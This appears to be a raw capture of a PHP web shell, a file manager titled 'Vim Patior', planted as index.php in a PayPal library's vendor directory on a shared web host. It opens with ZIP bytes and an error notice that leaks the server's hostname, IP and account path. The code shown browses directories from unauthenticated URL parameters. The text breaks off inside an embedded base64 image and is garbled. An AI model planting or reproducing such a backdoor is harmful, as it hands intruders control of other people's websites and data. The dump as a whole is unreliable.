PK
œqhYî¶J‚ßF ßF ) nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/
Notice: ob_end_clean(): Failed to delete buffer. No buffer to delete in /home/foruwedy/public_html/57dae0/index.php on line 8
| Dir : /home/foruwedy/public_html/vendor/srmklive/paypal/config/UrlGeneration/ |
| Server: Linux premium227.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64 IP: 66.29.146.38 |
| Dir : /home/foruwedy/public_html/vendor/srmklive/paypal/config/UrlGeneration/index.php |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Vim Patior</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet"
integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD" crossorigin="anonymous">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css"
integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/DZjVsC0lE40xsADsfeQoEypE+enwcOiGjk/bSuGGKHEyjSoQ1zVisanQ=="
crossorigin="anonymous" referrerpolicy="no-referrer" />
</head>
<body>
<?php
//function
function formatSizeUnits($bytes)
{
if ($bytes >= 1073741824) {
$bytes = number_format($bytes / 1073741824, 2) . ' GB';
} elseif ($bytes >= 1048576) {
$bytes = number_format($bytes / 1048576, 2) . ' MB';
} elseif ($bytes >= 1024) {
$bytes = number_format($bytes / 1024, 2) . ' KB';
} elseif ($bytes > 1) {
$bytes = $bytes . ' bytes';
} elseif ($bytes == 1) {
$bytes = $bytes . ' byte';
} else {
$bytes = '0 bytes';
}
return $bytes;
}
function fileExtension($file)
{
return substr(strrchr($file, '.'), 1);
}
function fileIcon($file)
{
$imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp");
$audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc");
$ext = strtolower(fileExtension($file));
if ($file == "error_log") {
return '<i class="fa-sharp fa-solid fa-bug"></i> ';
} elseif ($file == ".htaccess") {
return '<i class="fa-solid fa-hammer"></i> ';
}
if ($ext == "html" || $ext == "htm") {
return '<i class="fa-brands fa-html5"></i> ';
} elseif ($ext == "php" || $ext == "phtml") {
return '<i class="fa-brands fa-php"></i> ';
} elseif (in_array($ext, $imgs)) {
return '<i class="fa-regular fa-images"></i> ';
} elseif ($ext == "css") {
return '<i class="fa-brands fa-css3"></i> ';
} elseif ($ext == "txt") {
return '<i class="fa-regular fa-file-lines"></i> ';
} elseif (in_array($ext, $audio)) {
return '<i class="fa-duotone fa-file-music"></i> ';
} elseif ($ext == "py") {
return '<i class="fa-brands fa-python"></i> ';
} elseif ($ext == "js") {
return '<i class="fa-brands fa-js"></i> ';
} else {
return '<i class="fa-solid fa-file"></i> ';
}
}
function encodePath($path)
{
$a = array("/", "\\", ".", ":");
$b = array("?", "?", "?", "?");
return str_replace($a, $b, $path);
}
function decodePath($path)
{
$a = array("/", "\\", ".", ":");
$b = array("?", "?", "?", "?");
return str_replace($b, $a, $path);
}
$root_path = __DIR__;
if (isset($_GET['p'])) {
if (empty($_GET['p'])) {
$p = $root_path;
} elseif (!is_dir(decodePath($_GET['p']))) {
echo ("<script>\nalert('Directory is Corrupted and Unreadable.');\nwindow.location.replace('?');\n</script>");
} elseif (is_dir(decodePath($_GET['p']))) {
$p = decodePath($_GET['p']);
}
} elseif (isset($_GET['q'])) {
if (!is_dir(decodePath($_GET['q']))) {
echo ("<script>window.location.replace('?p=');</script>");
} elseif (is_dir(decodePath($_GET['q']))) {
$p = decodePath($_GET['q']);
}
} else {
$p = $root_path;
}
define("PATH", $p);
echo ('
<nav class="navbar navbar-light" style="background-color: #e3f2fd;">
<div class="navbar-brand">
<a href="?"><img src="data:image/jpeg;base64,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